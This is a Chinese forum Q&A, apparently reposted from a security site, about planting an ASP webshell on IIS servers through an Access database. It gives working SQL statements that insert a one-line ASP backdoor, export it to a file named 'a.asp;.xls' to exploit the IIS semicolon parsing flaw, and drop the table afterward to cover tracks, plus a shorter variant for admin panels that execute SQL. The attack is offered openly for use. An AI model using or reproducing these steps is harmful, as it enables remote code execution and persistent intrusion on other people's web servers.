需要什么條件，語句又是什么？網(wǎng)上翻不到資料。麻煩各位。

答：

create table cmd (a varchar(50))
insert into cmd (a) values ('<%execute request("a")%>')
select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
drop table cmd

解釋如下：
1.create table a (a varchar(50)) 建立一個有一個A字段的表 表名為a 字段類型為字符 長度為50
2.insert into a (a) values ('<%execute request("a")%>') 在表a的a字段插入密碼為a的一句話木馬
3.select * into [a] in 'F:\jt\work\a.asp;.xls' 'excel 4.0;' from a 把表a的內(nèi)容導(dǎo)出為物理路徑的一個
EXCEL文件，為什么用excel文件，因為ACCESS數(shù)據(jù)庫不允許導(dǎo)出其他危險格式。我們導(dǎo)出為EXCEL后在利用IIS解析漏洞就可以變成我們的小馬了。很*的說～～
4.drop table a 丟家伙閃人 射完就走！

小弟的提問，沒兩分鐘大家就回答了，強烈頂t00ls牛淫。

這個更簡單：

Access利用后臺SQL執(zhí)行命令功能導(dǎo)出WebShell:
SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote
后臺提供SQL執(zhí)行功能且知道絕對路徑方可使用(vote為已知表段)

版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。